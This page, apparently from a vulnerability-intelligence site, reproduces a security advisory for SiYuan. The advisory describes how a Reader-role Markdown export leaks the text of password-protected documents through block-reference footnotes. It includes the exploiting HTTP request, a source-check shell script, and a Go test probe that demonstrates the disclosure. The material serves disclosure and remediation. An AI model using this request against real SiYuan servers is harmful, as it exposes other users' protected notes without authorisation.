llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · siyuan-note/siyuan

GHSA-QWG4-FJ37-JJQQ

Reader Markdown Export Discloses Protected Block References

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
7.7
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición15 dDesde la divulgación, 5 nov 2026, 3:37 a. m.
Detección15 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
5 nov 26
20 nov 26
21 nov 26
5 nov 26
9 nov 26
13 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-QWG4-FJ37-JJQQ divulgada · CVSS 7.7 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Reader Markdown Export Discloses Protected Block References

Summary

An authenticated Reader can request Markdown for a public document that contains a block reference, and the response can include body text from the referenced document even when that document is hidden, disabled, or protected by a publish password. The shipped `copyStdMarkdown` handler applies publish authorization to the requested root and ordinary embeds, but default block-reference footnote resolution loads related trees without the checker. This crosses the publish confidentiality boundary and is tracked as CWE-200 with CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`.

Technical Details

`POST /api/lute/copyStdMarkdown` is an `AuthenticatedAccess` contract, so an ordinary authenticated Reader can reach it. In `kernel/api/lute.go:47-77`, the Reader branch creates an access checker backed by `CheckBlockIdAccessableByPublishAccess`, passes it to `ExportStdMarkdown`, and applies `FilterContentByPublishAccess` to the requested root after export.

The normal export path uses that checker for query embeds. `ExportStdMarkdown` (`kernel/model/export.go:2302-2365`) calls `exportTree` (`kernel/model/export.go:3571-3719`), where embed results are checked before their trees are loaded. The default export configuration enables `BlockRefMode: 4` (`kernel/conf/export.go:49-67`), which invokes `collectFootnotesDefs` and `resolveFootnotesDefs` for block references.

`resolveFootnotesDefs` (`kernel/model/export.go:4291-4459`) follows reference IDs through `loadExportRelatedTree` and appends the loaded nodes to the footnote definitions. `collectFootnotesDefs` and `loadExportRelatedTree` (`kernel/model/export.go:4478-4555, 5055-5065`) do not receive or invoke the Reader publish checker. The post-export root filter therefore cannot remove body text that was loaded through those footnote definitions.

The existing `TestExportFootnotesAcrossNotebooks` test (`kernel/model/export_footnotes_test.go:29-76`) demonstrates that a referenced tree's body, including the `cross notebook content` canary, is included in Markdown export. The source consistency check below verifies the same resolver boundary and the Reader handler's existing root and ordinary-embed checks.

The violated invariant is: every related block tree rendered by a Reader export, including block-reference footnotes and nested embeds, must pass the same publish-access checker before its body is included.

PoV

The attacker needs only a valid low-privilege Reader session and a public document ID. The public document must contain a stored block reference to a target block in a hidden, disabled, or publish-password-protected document. No password cookie for the referenced document is supplied.

POST /api/lute/copyStdMarkdown HTTP/1.1
Content-Type: application/json
Authorization: <authenticated Reader session>

{"id":"<public-document-root-id>"}

The returned Markdown is expected to contain the referenced target's body text. A reference to a public target is the negative control and remains exportable.

The runtime check invokes this shipped route in-process with Gin's HTTP test recorder and an authenticated Reader role. It is not a live server request: no live Reader HTTP request or protected HTTP response was captured. The HTTP request above is the illustrative production request shape; the captured result is the route's in-process response.

PoC

Source consistency check

Run this exact command against the tested checkout:

set -eu
REV=bfe36100477b7bbd66db1a8b8cff5547b2ccdb59
ROOT=${1:?path to the tested checkout}
test "$(git -C "$ROOT" rev-parse HEAD)" = "$REV"
footnotes=$(sed -n '4291,4459p' "$ROOT/kernel/model/export.go")
test_window=$(sed -n '29,76p' "$ROOT/kernel/model/export_footnotes_test.go")
handler=$(sed -n '47,77p' "$ROOT/kernel/api/lute.go")
printf '%s\n' "$footnotes" | grep -q loadExportRelatedTree
! printf '%s\n' "$footnotes" | grep -Eq 'AccessCheckers|accessChecker|CheckBlockIdAccessableByPublishAccess|FilterContentByPublishAccess'
printf '%s\n' "$test_window" | grep -q 'cross notebook content'
printf '%s\n' "$handler" | grep -q CheckBlockIdAccessableByPublishAccess
printf '%s\n' "$handler" | grep -q AccessCheckers
printf '%s\n' "$handler" | grep -q FilterContentByPublishAccess
echo 'primary: reader-export-footnote-resolution-lacks-per-target-publish-check'
echo 'control: public-root-and-embed-publish-filters-present'

The command emits these two lines:

primary: reader-export-footnote-resolution-lacks-per-target-publish-check
control: public-root-and-embed-publish-filters-present

This source check is a separate limitation: it verifies the code boundary but does not itself issue a Reader request or capture a response.

Runtime route check

Save Appendix A as `reader_export_probe_test.go`, then run this exact command. It takes the tested checkout and the saved probe source as its only inputs; the build runs from the kernel module directory and uses the same test selector and constrained Go environment used for the captured runtime check.

set -eu
REV=bfe36100477b7bbd66db1a8b8cff5547b2ccdb59
ROOT=${1:?absolute path to the tested checkout}
PROBE_SRC=${2:?path to reader_export_probe_test.go from Appendix A}
OUT=${3:-${TMPDIR:-/tmp}/reader_export_probe.test}
CONTROL=${4:-${TMPDIR:-/tmp}/reader_export_public_control.test}
WORK=${TMPDIR:-/tmp}/siyuan-reader-export
mkdir -p "$WORK/go-tmp" "$WORK/go-cache"
test "$(git -C "$ROOT" rev-parse HEAD)" = "$REV"
cp "$PROBE_SRC" "$ROOT/kernel/api/reader_export_probe_test.go"
trap 'rm -f "$ROOT/kernel/api/reader_export_probe_test.go"' EXIT
(
  cd "$ROOT/kernel"
  export GOTMPDIR="$WORK/go-tmp" GOCACHE="$WORK/go-cache" GOMAXPROCS=1 GOFLAGS=-p=1 GOTOOLCHAIN=local
  go test -tags fts5 -c ./api -run '^TestReaderExportProtectedFootnoteProbe$' -o "$OUT"
  "$OUT" -test.run '^TestReaderExportProtectedFootnoteProbe$' -test.v
)
cp "$OUT" "$CONTROL"
python3 - "$OUT" "$CONTROL" <<'PY'
from pathlib import Path
import sys
binary = Path(sys.argv[1]).read_bytes()
binary = binary.replace(b"20261026000007-psrc001", b"20261026000008-usrc001")
binary = binary.replace(b"PROTECTED_BODY_SENTINEL", b"]: PUBLIC_BODY_SENTINEL")
Path(sys.argv[2]).write_bytes(binary)
PY
"$CONTROL" -test.run '^TestReaderExportProtectedFootnoteProbe$' -test.v

The first binary creates a public root referencing the password-protected target without its password; the second is a public-root-only control made by the shown same-length fixture substitution. The following abridged lines are emitted by the first binary command:

reader_role=authenticated
route=/api/lute/copyStdMarkdown
protected_response=PROTECTED_BODY_SENTINEL
public_control=PUBLIC_BODY_SENTINEL

The captured control command exits successfully and contains `PUBLIC_BODY_SENTINEL` without `PROTECTED_BODY_SENTINEL`. The captured records include hashes for the preparation record and source test, attestation files binding the immutable primary and public-control binaries, the control patch manifest, Reader route and role, target revision, reachability, both output logs, and the evidence script.

Impact

A Reader can disclose the body of another user's protected document by causing a public document to reference it. This exposes arbitrary referenced note text within the workspace's publish service without the target document's publish password and without editor or administrator privileges. The affected security authority is the workspace publisher's protected content, so the CVSS scope is changed; the vector uses high confidentiality and no integrity or availability impact. The evidence establishes the exact pinned revision only and does not claim that every historical or future release is affected.

Suggested Fix

Thread the existing Reader publish checker through `collectFootnotesDefs`, `resolveFootnotesDefs`, and `loadExportRelatedTree`, or apply an equivalent check before every referenced tree is added to footnote definitions. Suppress inaccessible references and their nested children while retaining public references. Add regression coverage for a public root referencing a public target, a public root referencing a hidden or disabled target, and a public root referencing a password-protected target without and with the target's password cookie.

Affected Package/Versions

  • Package: `siyuan-note/siyuan` (GitHub ecosystem: `npm`).
  • Exact tested vulnerable revision: `bfe36100477b7bbd66db1a8b8cff5547b2ccdb59`.
  • No patched revision is established by this review; the affected range is intentionally limited to the exact tested revision.

Advisory History

The repository's published advisories, issue history, pull requests, commits, open fixes, and bound prior reports were checked. The prior local reports were in submitted, ready-for-review, and completed-but-unsubmitted states; none covered this block-reference footnote body sink.

  • GHSA-778g-gq49-fxxj https://github.com/siyuan-note/siyuan/security/advisories/GHSA-778g-gq49-fxxj is the closest published export-layer advisory. It concerns password-protected or publish-disabled attribute-view rows returned through `exportPreview` and names `copyStdMarkdown` in its remediation context. Its sink is attribute-view data, while this finding follows stored block references through `resolveFootnotesDefs` and `loadExportRelatedTree`.
  • PR #16041, “Publish service supports document-level access control” https://github.com/siyuan-note/siyuan/pull/16041 and its related publish-access changes establish the document visibility controls. They do not add a per-target check to the footnote resolver demonstrated here.
  • Issue #17059, “Improve export block references to footnotes” https://github.com/siyuan-note/siyuan/issues/17059 covers export-footnote behavior and correctness, but does not address the Reader publish-authorization boundary.
  • GHSA-CRV7-Q827-694M https://github.com/siyuan-note/siyuan/security/advisories/GHSA-crv7-q827-694m concerns a user-mediated drag disclosure of workspace paths and editor HTML; GHSA-MJMM-HGMC-M7QF https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mjmm-hgmc-m7qf concerns native clipboard access through a remote Electron window; and GHSA-3CQJ-J5X8-J8CW https://github.com/siyuan-note/siyuan/security/advisories/GHSA-3cqj-j5x8-j8cw concerns a Reader WebSocket token disclosure. Each has a different boundary and sink.

References

  • `copyStdMarkdown` Reader handler https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/api/lute.go#L47-L77
  • `CopyStdMarkdown` authenticated contract https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/apicontract/contracts.go#L504-L504
  • `ExportStdMarkdown` and `exportTree` https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/model/export.go#L2302-L2365
  • `resolveFootnotesDefs`, `collectFootnotesDefs`, and `loadExportRelatedTree` https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/model/export.go#L4291-L4459
  • Footnote export regression test https://github.com/siyuan-note/siyuan/blob/bfe36100477b7bbd66db1a8b8cff5547b2ccdb59/kernel/model/export_footnotes_test.go#L29-L76
Appendix A: `reader_export_probe_test.go`
package api

import (
	"encoding/json"
	"net/http/httptest"
	"os"
	"path/filepath"
	"strings"
	"testing"

	"github.com/88250/lute/ast"
	"github.com/88250/lute/parse"
	"github.com/gin-gonic/gin"
	"github.com/siyuan-note/siyuan/kernel/apicontract"
	"github.com/siyuan-note/siyuan/kernel/conf"
	"github.com/siyuan-note/siyuan/kernel/filesys"
	"github.com/siyuan-note/siyuan/kernel/model"
	"github.com/siyuan-note/siyuan/kernel/treenode"
	"github.com/siyuan-note/siyuan/kernel/util"
)

func TestReaderExportProtectedFootnoteProbe(t *testing.T) {
	root := t.TempDir()
	util.DataDir, util.TempDir, util.ConfDir = filepath.Join(root, "data"), root, root
	util.QueueDir = filepath.Join(root, "queue")
	util.DBPath, util.HistoryDBPath = filepath.Join(root, "siyuan.db"), filepath.Join(root, "history.db")
	util.AssetContentDBPath, util.BlockTreeDBPath = filepath.Join(root, "asset_content.db"), filepath.Join(root, "blocktree.db")
	model.Conf = model.NewAppConf()
	model.Conf.FileTree.Store(conf.NewFileTree())
	model.Conf.Sync.Store(conf.NewSync())
	model.Conf.Search.Store(conf.NewSearch())
	model.Conf.Editor.Store(conf.NewEditor())
	model.Conf.Export.Store(conf.NewExport())
	model.Conf.NotebookCrypto = conf.NewNotebookCrypto()
	model.Conf.Appearance.Store(conf.NewAppearance())
	for _, boxID := range []string{"20261026000000-boxsrc1", "20261026000001-boxtgt1"} {
		bc := conf.NewBoxConf()
		bc.Name, bc.Closed = boxID, false
		if err := (&model.Box{ID: boxID}).SaveConf(bc); err != nil { t.Fatal(err) }
	}
	treenode.InitBlockTree(true)
	t.Cleanup(treenode.CloseDatabase)

	sourceTree := treenode.NewTree("20261026000000-boxsrc1", "/20261026000002-srcdoc1.sy", "/Source", "Source")
	protectedTree := treenode.NewTree("20261026000001-boxtgt1", "/20261026000003-tgtdoc1.sy", "/Protected", "Protected")
	publicTree := treenode.NewTree("20261026000001-boxtgt1", "/20261026000004-pubdoc1.sy", "/Public", "Public")
	protectedBlock := protectedTree.Root.FirstChild
	protectedBlock.ID = "20261026000005-tgtblk1"
	protectedBlock.AppendChild(&ast.Node{Type: ast.NodeText, Tokens: []byte("PROTECTED_BODY_SENTINEL")})
	publicBlock := publicTree.Root.FirstChild
	publicBlock.ID = "20261026000006-pubblk1"
	publicBlock.AppendChild(&ast.Node{Type: ast.NodeText, Tokens: []byte("PUBLIC_BODY_SENTINEL")})
	for _, spec := range []struct{ id, subtype string }{{protectedBlock.ID, "s"}, {publicBlock.ID, "s"}} {
		// Each source tree is copied below so the two requests exercise separate roots.
		_ = spec
	}
	protectedSource := treenode.NewTree("20261026000000-boxsrc1", "/20261026000007-psrc001.sy", "/ProtectedSource", "ProtectedSource")
	protectedSource.Root.FirstChild.AppendChild(&ast.Node{Type: ast.NodeText, Tokens: []byte("public source")})
	protectedSource.Root.FirstChild.AppendChild(&ast.Node{Type: ast.NodeTextMark, TextMarkType: "block-ref", TextMarkBlockRefID: protectedBlock.ID, TextMarkBlockRefSubtype: "s", TextMarkTextContent: "protected reference"})
	publicSource := treenode.NewTree("20261026000000-boxsrc1", "/20261026000008-usrc001.sy", "/PublicSource", "PublicSource")
	publicSource.Root.FirstChild.AppendChild(&ast.Node{Type: ast.NodeText, Tokens: []byte("public source")})
	publicSource.Root.FirstChild.AppendChild(&ast.Node{Type: ast.NodeTextMark, TextMarkType: "block-ref", TextMarkBlockRefID: publicBlock.ID, TextMarkBlockRefSubtype: "s", TextMarkTextContent: "public reference"})
	for _, tree := range []*parse.Tree{sourceTree, protectedTree, publicTree, protectedSource, publicSource} {
		treenode.UpsertBlockTree(tree)
		if _, err := filesys.WriteTree(tree); err != nil { t.Fatal(err) }
	}
	if err := model.SetPublishAccess(model.PublishAccess{
		{ID: protectedSource.ID, Visible: true},
		{ID: publicSource.ID, Visible: true},
		{ID: protectedTree.ID, Visible: true, Password: "target-password"},
		{ID: publicTree.ID, Visible: true},
	}); err != nil { t.Fatal(err) }

	gin.SetMode(gin.TestMode)
	engine := gin.New()
	engine.Use(func(c *gin.Context) { c.Set(model.RoleContextKey, model.RoleReader); c.Next() })
	engine.POST("/api/lute/copyStdMarkdown", contractRouteHandlers(apicontract.CopyStdMarkdown, copyStdMarkdown)...)
	request := func(id string) string {
		recorder := httptest.NewRecorder()
		req := httptest.NewRequest("POST", "/api/lute/copyStdMarkdown", strings.NewReader(`{"id":"`+id+`"}`))
		engine.ServeHTTP(recorder, req)
		var body struct { Code int `json:"code"`; Data string `json:"data"`; Msg string `json:"msg"` }
		if err := json.Unmarshal(recorder.Body.Bytes(), &body); err != nil { t.Fatalf("decode response: %v body=%s", err, recorder.Body.String()) }
		if body.Code != 0 { t.Fatalf("copyStdMarkdown failed: code=%d msg=%s body=%s", body.Code, body.Msg, recorder.Body.String()) }
		return body.Data
	}
	protected := request(protectedSource.ID)
	if !strings.Contains(protected, "PROTECTED_BODY_SENTINEL") { t.Fatalf("protected reference body was not returned: %s", protected) }
	public := request(publicSource.ID)
	if !strings.Contains(public, "PUBLIC_BODY_SENTINEL") { t.Fatalf("public reference control missing: %s", public) }
	os.Stdout.WriteString("reader_role=authenticated\nroute=/api/lute/copyStdMarkdown\nprotected_response=PROTECTED_BODY_SENTINEL\npublic_control=PUBLIC_BODY_SENTINEL\n")
}

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Versiones afectadas

bfe36100477b7bbd66db1a8b8cff5547b2ccdb59
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmsiyuan-note/siyuan
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/siyuan-note/siyuan/security/advisories/GHSA-qwg4-fj37-jjqq

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.